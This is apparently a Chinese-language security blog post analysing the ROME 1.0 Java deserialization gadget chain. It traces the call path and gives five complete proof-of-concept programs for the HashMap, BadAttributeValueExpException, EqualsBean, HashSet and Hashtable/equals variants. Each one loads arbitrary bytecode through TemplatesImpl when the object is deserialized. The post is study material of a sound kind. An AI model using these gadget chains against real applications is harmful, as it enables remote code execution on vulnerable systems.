ROME 反序列化
rome 是什么
ROME是主要用于解析RSS和Atom种子的一个Java框架。
ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。
他有个特殊的位置就是ROME提供了ToStringBean这个类,提供深入的toString方法对Java Bean进行操作。
环境配置
- rome:rome:1.0
- jdk8u71
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
链子分析
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
在 ysoserial 给出的链子中以 HashMap.readObject
作为反序列化入口点的。这个就不用多说了,触发 hash,触发 hashcode。然后和 cc6 不同的是触发得是 rome 中 ObjectBean
类的 hashcode,
然后触发EqualsBean. beanHashcode,在去触发 toString 函数,这个 _obj
可以通过构造函数进行控制。
跟着来到 ObjectBean 的 toString 方法:
发现调用了 toStringBean
的 toString 方法,跟进
通过旁边的注释也不难看出就是在通过反射调用 getter 方法。具体怎么回事呢,先跟进 getPropertyDescriptors
看看
看见在满足 if 条件后,先执行了 getPDs
方法,这个方法又干了什么?
就是获得 class 的 getter 和 setter 方法。
然后回到上面的 getPropertyDescriptors
方法,在获得 getter 和 setter 方法后调用了 _introspected.put
处理。_introspected
就是上面的 hashmap 对象。意思就是调用了 hashmap 的 put 方法把方法存进了 map 中,然后在 ToStringBean. toString 进行遍历 map 。
说起调用 getter 方法去加载字节码,和 CB 链思路很像。所以这里就是 ToStringBean. toString 去触发TemplatesImpl.getOutputProperties方法来加载字节码
poc 编写
先把 objectBean 进行实列化,待会调用其 hashcode 方法,看看其构造函数
然后需要的是 hashcoed 去触发 equalsBean.beanHashCode()
,
这里可以跳过调用 objectBean. toString,直接调用 ToStringBean. toString 方法。所以需要_obj 为 ToStringBean 对象,这里的 obj 也就是 objectBean 构造函数中的 obj,至于另一个参数 beanClass 就不用管了。
ObjectBean bean = new ObjectBean(ToStringBean.class,tobean);
然后在这之前就是 ToStringBean 对象的编写。来到其 toString 方法,
我们想要的是 TemplatesImpl 中的 getOutputProperties () 方法。但是上面说了会对所有的 getter 方法进行遍历,而 TemplatesImpl 有很多的 getter 方法,所以这里可以把 _beanClass
设置为其接口类 Templates.class
,它里面只有这一个 getter 方法。
所以
ToStringBean tobean = new ToStringBean(Templates.class,tem);
剩下的前面触发 hashcode 方法就照着 cc6 写,后面动态类加载字节码可以照着 cb 链写。
然后至于解决 put 提前触发的问题可以把 ToStringBean 对象改为
ToStringBean tobean = new ToStringBean(Templates.class,);
在 put 过后利用反射修改 _obj
的值
Field v = tobean.getClass().getDeclaredField("_obj");
v.setAccessible(true);
v.set(tobean, tem);
最后 poc
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.functors.ConstantTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.lang.reflect.Field;
public class Rome {
public static void main(String[] args)throws Exception {
TemplatesImpl tem =new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
ToStringBean tobean = new ToStringBean(Templates.class,new ConstantTransformer(1));
ObjectBean bean = new ObjectBean(ToStringBean.class,tobean);
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put(bean,"gaoren");
Field v = tobean.getClass().getDeclaredField("_obj");
v.setAccessible(true);
v.set(tobean, tem);
serilize(hashmap);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
番外
上面的 poc 是照着 ysoserial 中的链子写的,事实上 poc 还有很多。
BadAttributeValueExpException
上面看到最后想要调用的是 toString 方法,这和 cc5 很像,cc5 最后也是调用 TiedMapEntry. toString
方法去触发 getValue
方法。
所以这里利用 BadAttributeValueExpException. readobject
方法来触发 ToStringBean. tostring
方法,
直接照搬前面的 cc5
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
ObjectBean bean = new ObjectBean(Templates.class, tem);
Field v = val.getClass().getDeclaredField("val");
v.setAccessible(true);
v.set(val, bean);
poc
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.lang.reflect.Field;
public class Rome {
public static void main(String[] args)throws Exception {
TemplatesImpl tem =new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
ObjectBean bean = new ObjectBean(Templates.class, tem);
Field v = val.getClass().getDeclaredField("val");
v.setAccessible(true);
v.set(val, bean);
serilize(val);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
EqualsBean
EqualsBean 也有 hashcode 方法
所以和原本的 rome 没什么区别,就是把 hash 触发 objectbean. hashcode 改为 equalsbean. hashcode。
poc
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.functors.ConstantTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.lang.reflect.Field;
public class Rome {
public static void main(String[] args)throws Exception {
TemplatesImpl tem =new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
ToStringBean tobean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equal = new EqualsBean(ToStringBean.class,tobean);
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put(equal,"gaoren");
Field v = tobean.getClass().getDeclaredField("_obj");
v.setAccessible(true);
v.set(tobean, tem);
serilize(hashmap);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
hashset
这个就是把开头触发 hashcode 换为了 cc6 另外一条。
hashset.readobject 中的 put 方法可以触发。这个也照着拼接就行了。
poc
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.functors.ConstantTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.lang.reflect.Field;
import java.util.HashSet;
public class Rome {
public static void main(String[] args)throws Exception {
TemplatesImpl tem =new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
ToStringBean tobean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equal = new EqualsBean(ToStringBean.class,tobean);
HashSet set=new HashSet();
set.add(equal);
Field v = tobean.getClass().getDeclaredField("_obj");
v.setAccessible(true);
v.set(tobean, tem);
serilize(set);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
ObjectBean#equals
看了 nivia 师傅的文章,发现 ObjectBean.equals 也可以实现利用链,跟进
看见调用了 beanEquals,跟进后发现也有调用 getter 函数。
后面的就不用多说什么了,回忆一下前面是怎么触发到 equals 的。通过 hashtable. radobject 触发 reconstitutionPut
方法,然后两次 hash 比较相同后调用 equals 方法。最终会触发HashMap的equals方法,由于HashMap没有实现equals方法,会调用AbstructMap 类的equals方法。
这里看到又会调用 equals 方法,在原本的 cc7 中我们想要的就只是调用 m.get 函数,而这里可以通过控制 value 的值来调用到 ObjectBean 的 equals 方法。然后调用到 beanEquals 方法,但是最后要成功调用 getter 方法需要满足一些条件
看到要 bean1 和 bean2 不为空。还需要满足
if (!_beanClass.isInstance(bean2))
这里就是判断 bean2 是否是 _beanClass
类的或其子类的实例。由后面调用 getter 不难看出 _beanClass
是 equalsbean 类。
现在我们要做的就是让 bean2 满足条件就行,朔源发现 bean2 就是 AbstructMap 类 equals 方法中的 m.get(key)。m.get (key) 就是获取 hashmap 中 key 对应的 value 值。
然后就是我们还需要控制 value.equals(m.get(key)) 中的 value 值,让其为 objectbean 对象或者 equalsbean 对象(equalsbean 里面也有 equals 方法,同样可以直接触发 beanEquals 方法)。现在就是需要两个 value 值,一个为 TemplatesImpl 对象一个为 equalsbean 对象,所以这里需要两个 hashmap,先构造 payload 在分析吧
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Hashtable;
import java.lang.reflect.Field;
public class Rome {
public static void main(String[] args)throws Exception {
TemplatesImpl tem =new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
EqualsBean bean = new EqualsBean(String.class, "gaoren");
HashMap hashMap1 = new HashMap();
hashMap1.put("yy", bean);
hashMap1.put("zZ", tem);
HashMap hashMap2 = new HashMap();
hashMap2.put("yy", tem);
hashMap2.put("zZ", bean);
Hashtable table = new Hashtable();
table.put(hashMap1, "1");
table.put(hashMap2, "2");
setValue(bean, "_beanClass", Templates.class);
setValue(bean, "_obj", tem);
serilize(table);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
其他的都很好理解,可以看到这里 hashmap 里面传了两个键值对,先来分析其 hashcode 为什么相等。
跟进 hashcode 函数,发现其是计算的 hashmap 中键值对的 hash 值进行相加,
键值对的 hash 值又是如何计算的,继续看
可以看到是键 hash 加值 hash。所以这里 hashmap1 和 hashmap2 只是调换了键值对的顺序其 hash 相加还是相等的。因为在 hashtable 的 readobject 中进行判断时,hashmap1 和 hashmap2 都只是键。
然后就是关键的为什么要放两个键值对。
e 是 table 中的 hashmap,也就是 hashmap1,然后 key 是 hashmap2 中的键。然后继续跟进到 AbstractMap 的 equals 中。
i 是遍历的 hashmap 值,这个 hashmap 是调用该方法的 hashmap ,也就是 hashmap1。而 m 是 hashmap2。所以这里的 value 就是 equalsbean 对象,而 m.get (key) 就是 TemplatesImpl。最后反射修改值,调用 getter 方法。
当然还有一些可以和其他的结合的就太多了。
参考:https://xz.aliyun.com/t/12768?time__1311=GqGxu7G%3DoYqCqGN4eewwrDn77GCDcWmcaoD
参考:https://nivi4.notion.site/ROME-5b10d8b72e6d400aaec4722039b6c9ea
标签:obj,tem,Object,ROME,new,import,序列化,class From: https://www.cnblogs.com/gaorenyusi/p/18295387